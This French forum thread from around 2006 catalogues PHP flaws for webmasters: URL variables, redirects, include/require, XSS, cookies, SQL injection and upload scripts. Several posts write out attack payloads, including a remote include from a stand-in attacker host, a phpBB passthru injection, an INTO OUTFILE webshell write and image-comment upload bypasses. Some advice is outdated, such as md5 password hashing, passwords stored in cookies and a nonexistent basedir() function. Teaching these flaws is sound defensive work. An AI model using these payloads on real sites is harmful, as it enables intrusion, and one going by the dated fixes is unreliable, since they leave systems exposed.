[PHP] Les failles de sécurité courantes.

[The Lootrophile]

Le topic des failles PHP : LE RETOUR !

EN CREATION

Dans un soucis de clarté, et en accord avec la modération locale, j'ai décidé de procéder à un gros remaniement de ce sujet, afin de tenir compte de vos remarques, mais aussi de pouvoir approfondir les points qui méritent de l'être sans alourdir inutilement le sujet. Je gérerais ce topic, mais j'espère que nous pourrons le construire tous ensemble : N'ayant pas la science infuse, votre contribution (comme sur l'ancien sujet) sera très appréciée, les replys de ce sujet sont libres.

Ce sujet a la prétention de regrouper les failles PHP les plus courantes et les plus dangereuses. Je m'employerais à tenir un discour accessible aux initiés comme aux débutants. Des allusions à des fonctions PHP pourront être faites, ce n'est pas le rôle de ce sujet que de vous apprendre à les utiliser, ainsi, je vous invite à vous référer à la documentation de PHP pour les termes qui ne vous poseraient problème.

Contrairement à l'autre sujet, je vais utiliser des repères de couleurs différents pour démarquer les différents points à aborder pour chaque faille, vous vous y retrouverez vite. Les sujets qui auront besoin d'être explicités plus longuement le seront dans un autre post.

Ces textes sont libres de droits, pour ma part, si vous souhaitez les utiliser sur votre site ou forum, merci d'indiquer la provenance, et le (ou les) auteur(s).

1. Les variables dans l'URL

2. Défauts de la redirection

3. Faille Include()

4. Failles XSS

5. Failles Cookies

6. Faille Urlencode()

7. Faille Require()

8. Trucs et astuces pour rester au sec

################################ N°1 ################################

1. Variables a l'air, gaffe aux courrants d'air.

Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin.php?loggin=1, soit quand vos identifiants de connexion sont contenus dans votre URL (à savoir une URL qui ressemblerait à http://www.site.com/admin.php?loggin=arthur&pass=toto). A partir du moment ou une personne a accès à des informations sensibles ou qu'il peut modifier une variable dans votre URL qui peut influer sur sa simple condition de visiteur à travers votre site, vous devez vous estimer en danger.

Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, soit en faisant transiter vos identifiants de connexion entre les pages par un ID de session, soit par un fichier contenant vos identifiants installé sur votre ordinateur qui sera lu par votre site.

################################ N°2 ################################

2. La redirection ? Pas une solution.

Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique. Quels genre de codes sont infectés ?

If ($password !== "Pouletgrille") { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; }

Pourquoi ? Que va il se passer quand le piratin va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits.

Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :

If ($password == "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion ! Afficher le formulaire d'identification'; }

C'est une méthode basique (certainement trop.) mais elle aura le mérite de vous protéger.

################################ N°3 ################################

3. La faille Include()

Célèbre car très utilisée, la faille include permet au pirate de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

<?php include("$page") ?>

Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.sitedupirate.com/script.txt, et comme le PHP est un langage merveilleux, il pourra TOUT faire.

Comment y remédier ? Il y a plusieurs solutions : Voici une liste des alternatives les plus courrantes

################################ N°4 ################################

4. La faille XSS ? Ca me donne de l'herpes !

Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) :

Salut ! <script>window.open("http://www.monsite.com/);</script>

Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html. :)

################################ N°5 ################################

5. La faille cookies ? Que nenni !

Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter.

################################ N°6 ################################

6. La faille urldecode() dans les requetes SQL. (par Savory)

Utilisé contre phpmyadmin et phpbb actuellement.

Par exemple pour reprendre le code de viewtopic de phpbb :

$highlight_match = $highlight = '';

if (isset($HTTP_GET_VARS['highlight']))

{

// Split words and phrases

$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));

for($i = 0; $i < sizeof($words); $i++)

si on url encode ' en %27 puis re-urlencode en %2527 on peut injecter un ' au nez de la requete :) et donc injecter du code php.

Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id

Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

################################ N°7 ################################

7. La faille require()

Au meme titre que l'include cité precedement sauf qu'elle est sensible au byte null genre %00

Si par exemple on a require("/home/web/lib/".$truc.".php");

on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.

Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :

L'exemple parlera de lui meme

1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*

on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?>

en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E

et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.

Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

################################ N°8 ################################

8. Trucs et astuces

Respectez la norme

Toujours utiliser <?php (et non <?) pour des raisons de portabilité et de compatibilité avec les futures versions de php.

Ne laissez pas de messages d'erreur

Evitez de laisser des pages en création accessibles : Vous devez être le seul à avoir acces aux messages d'erreur. ( ou utiliser error_reporting(0); )

Vérifiez l'intégrité des fichiers utilisés

Utilisez toujours la fonction basedir(); pour être sur que les fichiers contenus dans les URL se trouvent dans le même répertoire (et non importés d'autres sites exotiques)

Encodez tous les mots de passe

Exemple de procédure :

Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":

utilisez la commande md5():

$mdp_chiffre = md5($motdepasse);

Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:

$a_verifier = md5($ce_qui_a_ete_saisi);

et comparez ce que vous obtenez avec ce qui est stocké dans la base de données. Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant. (note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.)

###########################

Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)

Modifié le 2 septembre 2006 par The Lootrophile

[The Lootrophile]

3. La faille Include() (solutions)

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);

if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Ce mini bout de code inclu votre page en enleveant les caractères spéciaux, les "/" par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ? Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le script oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)[/color]

Il y a également la solution du switch, qui est plus propre et parfaitement adaptée à la situation, malheureusement, elle est un peu plus longue à mettre en place, et demande une mini-modification de votre code à chaque nouvelle page, mais votre code sera parfaitement clair.

switch($page)

{

case "blog":

include("include/blog.php");

break;

case "articles":

include("include/articles.php");

break;

default:

print'La page n'existe pas';

break;

}

Dans ce cas là, l'URL sera simplement du type http://www.lesite.com/index.php?page=blog

Modifié le 3 septembre 2006 par The Lootrophile

[The Lootrophile]

Reservé

[The Lootrophile]

Résevé

Modifié le 15 août 2006 par The Lootrophile

[The Lootrophile]

Et une dernière, pour la route.

[playstation.2.fg]

Très bonne idée de topic, ça aidera très certainement les (apprentis) webmasters. Par contre si je pouvais me permettre : utiliser une autre couleur que le bleu foncé car ça passe très mal sur le skin noir (le orange que tu as pris pour "EN CREATION" est très bien par exemple).

Qui plus est, je trouve ta liste de failles un peu maigrichonne, même si celles que tu as cité sont les principales. Quelques scripts seraient également intéressants.

Un exemple :

if (ini_get('register_globals'))
{
  foreach($GLOBALS as $s_variable_name => $m_variable_value)
  {
   if (!in_array($s_variable_name, array('GLOBALS', 'argv', 'argc', '_FILES', '_COOKIE', '_POST', '_GET', '_SERVER', '_ENV', '_SESSION', 's_variable_name', 'm_variable_value')))
   {
	   unset($GLOBALS[$s_variable_name]);
   }
  }
  unset($GLOBALS['s_variable_name']);
  unset($GLOBALS['m_variable_value']);
}

Ce script permet d'éviter la modification de variables à partir de l'url sur les serveurs (OVH et Free entre autre) où les variables super globales sont activées (trou de sécurité, car aucune vérification de la provenance des variables).

Ce ne sont que des suggestions.

En tout cas bonne chance pour la suite de ce topic .

[Baldurien]

3. La faille Include() (solutions)

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);

if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Ce mini bout de code inclu votre page en enleveant les caractères spéciaux, les "/" par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ? Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le script oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)[/color]

Il y a également la solution du switch, qui est plus propre et parfaitement adaptée à la situation, malheureusement, elle est un peu plus longue à mettre en place, et demande une mini-modification de votre code à chaque nouvelle page, mais votre code sera parfaitement clair.

switch($page)

{

case "blog":

include("include/blog.php");

break;

case "articles":

include("include/articles.php");

break;

default:

print'La page n'existe pas';

break;

}

Dans ce cas là, l'URL sera symplement du type http://www.lesite.com/index.php?page=blog

Faux.

Cette méthode (en plus d'être crade, mais © avis perso) n'est pas bien utilisé.

PHP incorpore depuis la version 3 des tableaux associatifs, qui font office de hash map, et dont l'accès est (normalement) optimisé. Donc :

$page = isset($_GET['p']) ? $_GET['p']:'blog';
$page_list = array(
 'blog' => 'include/blog.php',
 'articles' => 'include/articles.php',
);

if (!isset($page_list[$page])) {
 require 'include/notfound.php';
} else {
 require $page_list[$page];
}

Pour finir :

1. require, require_once, include, include_once, return, echo sont des instructions. Les parenthèses sont donc totalement superflues.

[FiP_]

Il conviendrait de déterminer le public visé par ce post:

S'il s'agit d'un simple "pense-bête" pour les développeurs web avertis, tout va bien; mais s'il est destiné à devenir un traité sur la sécurité, à l'attention des débutants, certaines parties mériteraient d'être étoffées :

Encodez tous les mots de passe pour qu'ils ne puissent jamais être vus, même par inadvertance (en MD5, par exemple)

Cette phrase, par exemple, me semble trop sommaire. Sur le thread précédant, j'avais écrit :

Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":

utilisez la commande md5():

$mdp_chiffre = md5($motdepasse);

Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:

$a_verifier = md5($ce_qui_a_ete_saisi);

et comparez ce que vous obtenez avec ce qui est stocké dans la base de données.

Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant.

note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.

[FiP_]

Faux.

Cette méthode (en plus d'être crade, mais © avis perso) n'est pas bien utilisée.

PHP incorpore depuis la version 3 des tableaux associatifs, qui font office de hash map, et dont l'accès est (normalement) optimisé.

Qu'est ce qui est faux?

Le code que tu propose est plus compact, mais l'exemple du switch est volontairement simple, voire simpliste; on pourrait en effet imaginer que des traitements très différents doivent être effectués selon le type de page demandé, ces derniers pouvant alors être inclus très facilement dans le case correspondant.

Encore une fois, il faut se demander à qui s'addresse ce sujet. Si je dis a un débutant*, "ah ba pour éviter la faille machin tu n'a qu'a écrire

echo (isset($adresse))?$$adresse:'non';

", Il ne comprendra pas forcement en quoi ce bout de code corrigera le probleme.

* exemple complétement au hasard, mais synatxiquement correct et volontaire complexe.

[The Lootrophile]

Coucou,

J'ai fais la modification de couleur, à vous de me dire si c'est mieux ainsi, ou si je dois trouver autre chose.

Le sujet n'est pas encore etoffé car je voulais le poster tant que j'avais l'antiflood desactivé (à savoir, jusqu'à avant hier soir), pour l'occasion. Il n'est donc pas bien consistant pour l'instant, mais je compte sur votre collaboration (comme ça a déjà été fait) pour le faire vivre, le faire grossir et le perfectionner, j'essaierais de faire les modifications proposées le plus rapidement possible pour garder le topic à jour. =]

Pour la question posée plus haut, j'aimerais que ce thread s'adresse avant tout aux gens qui recherchent des informations ou un complément d'information à propos de la sécurité avec PHP, donc aux vrais débutants comme aux gens qui cherchent à optimiser la création de leur site. Dans tous les cas, tu as raison : Il y a un réel besoin de complément d'information, je vais m'attacher à régler ce problème le plus vite possible. =] Mais je ne suis que l'initiateur du sujet, il appartient à la communauté. Je vous invite donc à vous prononcer sur le rôle que vous souhaiteriez donner à ce thread.

[theocrite]

C'est beaucoup plus lisible comme ça sur la skin sombre. Merci

[Baldurien]

Le code que tu propose est plus compact, mais l'exemple du switch est volontairement simple, voire simpliste; on pourrait en effet imaginer que des traitements très différents doivent être effectués selon le type de page demandé, ces derniers pouvant alors être inclus très facilement dans le case correspondant.

L'intérêt d'inclure une page, c'est justement pour faire le dit traîtement :) parce que bon, autant inliner tout le code dans le switch.

[K-Phoen]

Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":

utilisez la commande md5():

$mdp_chiffre = md5($motdepasse);

Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:

$a_verifier = md5($ce_qui_a_ete_saisi);

et comparez ce que vous obtenez avec ce qui est stocké dans la base de données.

Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant.

no te: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.

perso je conseillerais plutôt la fonction sha1()

[Quarky]

Et voilà le topic est épinglé

[The Lootrophile]

Merci =]

[Conan28]

pour afficher un includes sur la page je risque d'être hacker ?? :

..<h2>Bonjour</h2>
<?php include("mapage.php"); ?> ...

c'est juste pour afficher une page

je risque de me faire hacker

Modifié le 20 septembre 2006 par Conan28

[Quarky]

C'est une question ? Tu demandes de l'aides ?

Perso je ferais un include_once c'est déjà un peu mieux

[K-Phoen]

ou même un require_once()

[arcanis]

Les cookies sont autant protégés que les variables passées par GET ou POST.

Suffit de faire une recherche sur les extensions Firefox qui permettent de les modifier.

Seuls les variables de sessions sont véritablement sûres. Et encore, si on réussis à accéder au répertoire auquel elles sont enregistrées, on est pas dans la m*rde

V'là un p'tit site que j'ai récupéré avant-hier qui donne une liste des failles XSS (non exaustive, bien sûr): http://ha.ckers.org/xss.html

Comme tu l'as dit, il est très déconseillé de donner une information visible par tous. Par exemple, mon script utilise l'id d'activation qui est caché dans la base de donnée.

Dans "respecter la norme", rajoute qu'il vaut également préférer <?php à <% et explique la raison (<? et <% sont gérés par des directives de configurations. Si elles ne sont pas activées...t'est foutu :-)).

Et t'a aussi raison sur le dernier paragraphe: faut tous faire soi-même! C'est bien mieux: t'apprends et tu connais ton code (donc c'est plus facile de le débugguer).

edit: histoire d'améliorer la vitesse du script, il vaut mieux utiliser if() { } elseif() { ... } elseif()... au lieu de switch

[Mephisto]

on pourrait egalement rajouter aux points que tu as decrit le SQL inecting

brievement, quand on verifie un login, un pass, ou quand o pot un message, bref, des trucs qui vont appeler un mysql_query

quand on veut pas se casser la tete, on faut notre mysql_query("SELECT passwd FROM table WHERE login = '$login'");

sauf que, $login vaut "admin UNION passwd as 'toto'". ensuite, le met toto a mon passwd, et j'ai recupere une session.

la solution est donc d'utiliser mysql_real_escape_string() qui rajoute des caracteres d'echappement devant les quotes et doubles quotes.

mais, ce n'est qu'un debut

on pourrait egalement empecher l'utilisation des caracteres d'espacement dans les login et passwd (ce qui est couremment fait deja)

ensuite, quand tu recuperes tes infos, tu peux enlever tous les espaces, tabulations, etc. (attention aussi a matcher les ecritures hexa, les %20, je ne sais pas si c'est interprete a la reception du post ou par le mysql_query, mais mieux vaut ne pas prendre de risques, ou prendre le temps de verifier)

ces types d'injections marchent en post tout aussi bien qu'en get (en les rentrant dans l'url)

une seconde faille (enorme) que l'on ne peut oublier: les scripts d'upload

on en trouve partout sur le web, et certains pretendent meme qu'ils sont securise (sous pretextes qu'ils verifie le mime-type ou le magic-number, imposent une extension, resize, etc.)

maintenant, je vous invite a lancer un gimp, creer une image de taille 1*1px

ensuite, dans les options avancees, vous pouvez ajouter un commentaire

de base, vous avez creted with gimp, mais, pour le fun, on peut metre un <?php phpinfo(); ?>

enregisrtez l'image en toto.jpg par exemple

votre image est genere avec son magic number de php

suivant les cas, on peut:

- si le script ne check pas l'extension .php: on renomme le fichier en .php, on l'envoit

- si le script empeche toute forme de langages web: on renomme en .jpg.gzip, on l'envoit

- si le script veut absolument un .jpg: il est probable que le fichier soit tout de meme interprete (il me semble que ca depend de la conf du serv), enfin, j'ai deja tente, et ca a deja marche

ensuite, il suffit s'aller consulter "l'image"

mais, certains scripts ne gerent meme pas le migic number present a chaque debut de fichiers, on peut donc directement creer son .php

comment regler le probleme:

lire le fichier comme un txt et regarder si a l'interieur, on n'aurait pas glisser quelques <? ?> <?php

ne pas uploader les images sur son serveur

j'ai egalement entendu parle de fichiers avec dans leurs noms un (test.php.jpg par exemple), permettant de faire sauter la fin de l'extension (celle qui sera verifiee) lors de la copie dans son repertoire definitif, mais la, je en suis sur de rien et je n'ai jamais verifier.

enfin, un preg_match ou preg_replace devrait faire l'affaire

enfin, ce ne sont que les deux failles qui me sont venue a l'esprit en lisant ton post, mais il y en as d'autres

un complement sur les XSS: j'ai lu quelques articles recemment a ce sujet, en encodant ses caracteres a coup de %[hexa], on a plus de chances de reussir

de meme, plutot que de mettre java script en un seul mot on peut ecrire java en fin de ligne et script sur le debut de la suivante.

et sur les cookies de session: se mefier des SSID seuls egalement (on peut les recuperer par XSS et faire de meme qu'avec les login)

voilou, je repasserai si d'autres choses me reviennent

[Annubis45]

J'ajouterais quelque chose sur les variables hidden dans les formulaire....

##################################

Attention dans les formulaires, les variables hidden ne sont pas si caché que ca...

Si vous utilisez un formulaire d'identification simple du type:

<form method="post" action="admin.php">

<input name="login" type="text>

<input name="mdp" type="text>

<input name="connexion" value="en_cours" type="hidden">

<input value="Connexion" style type="submit">

</form>

et pour conserver la connexion entre les differentes pages, vous faites des tests sur la variable "connexion"

exemple

if (isset($_POST["connexion"]))

{

if ($_POST["connexion"]=="en_cours")

{

afficher le formulaire d'identification;

}else

{

recuperer $_POST["login"]

afficher la page admin pour "$_POST["login"]";

}

}else

{

afficher la page d'identification;

}

Il est facile pour quelqu'un de creer le formulaire:

<form method="post" action="htt://www.votresite.com/admin.php">

<input name="login" value="admin" type="text">

<input name="mdp" value="on_s_en_fout" type="text">

<input name="connexion" value="quelquechose" type="text">

<input value="Connexion" style type="submit">

</form>

de l'heberger sur un autre site. Alors si le pseudo admin existe, il sera connecté sur votre site avec le pseudo admin.

pour corriger ca il vaut mieux utiliser des variables d'environement.

Ceci montre aussi qu'il est dangereux de faire des tests "if" avec des "else" qui donnent acces à des pages protegées. Le contenu des "else" doit toujours avoir une "confidentialité" moins importante que celle des "If".

Autre chose:

Supposons le formulaire suivant:

<form method="post" action="traitement.php">

<input name="a_traiter" value="a_faire" type="hidden">

<input value="Fait le" style type="submit">

</form>

et qu'apres ce formulaire, vous utilisiez des fonction PHP sur la variable "a_traiter", faites attention à appliquer les memes règles de sécurité que pour les variables de type "text" ou provenant de GET, c'est à dire addslash(), HTMLentities ... car ces variables peuvent etre modifiées par l'utilisateur.

Dsl si ce post n'est pas tres clair...

Annubis45

[nonothehobbit]

Mmmm la règle à suivre est plus générale est plus simple.

Il ne faut faire confiance à aucune donnée venant du client. Ne pas faire confiance ça veut dire ne pas préjuger de leur valeur, toujours vérifier qu'elle rentre bien dans les critères attendus (caster en int quand c'est un entier, faire un htmlentities quand c'est du texte sans code html, nettoyer les balises sensibles (script, object, embed, iframe...) quand on veut quand même du html, etc).

Pour info, les données clients sont tous ce qu'on trouve dans les variables $_GET (url), $_POST (résultat de formulaire), $_FILES (fichiers uploadés) et $_COOKIES (les cookiers).

Donc ne jamais utiliser ces variables directement toujours formatter/vérifier les données avant (cf plus haut).

Et au passage, si on a la main sur la conf php, désactiver toutes les directives permettant d'éviter les vérifications (genre register globals) mais ça a sûrement déjà été dit.

Par contre un truc souvent oublié dans les confs, les erreurs NOTICE sont masquées par défaut, c'est une erreur (si je puis dire ), il faut afficher toutes les erreurs. Les notices révèlent dans la plus par du temps des bugs et des failles de sécurité, ce serait dommage de s'en passer. (par contre il faut masquer les erreurs sur le site en production, ça évite des problèmes et c'est plus propre :) ).

[Flaidy]

Arrêtez moi si je me trompe mais je vois pas trop l'intérêt de crypter les mots de passe en md5 dans la base de données, car si un petit malin arrive a afficher les mot de passe, même crypter, le décrypter devient le cadets des soucis du petit malin en question.

Personnellement, j'utilise le sha1 qui (pour le moment) nécessite de grosses connaissances, du gros matériel, et d'un gros abonnement chez EDF pour prétendre a déchiffrer de serait-ce que 5 caractères.

[moozkit]

autre solution pour éviter l'injection est de savoir exactement quelles sont les pages pouvant etre réclamées. (dans le cas d'un site centré sur un index)

// la liste des pages autorisées
$allowedPages = array ('mainmenu', 'aboutus','advancedsearch','agreement'); //... etc

$page= $_GET('page'); / bien sur register_globals sur OFF

$page= (in_array($page,$allowedPages) ? $page: 'mainmenu');	// si vide ou pas dans la liste, page par defaut

include_once ($page.'.php');

[missouris]

Merci pour ce topic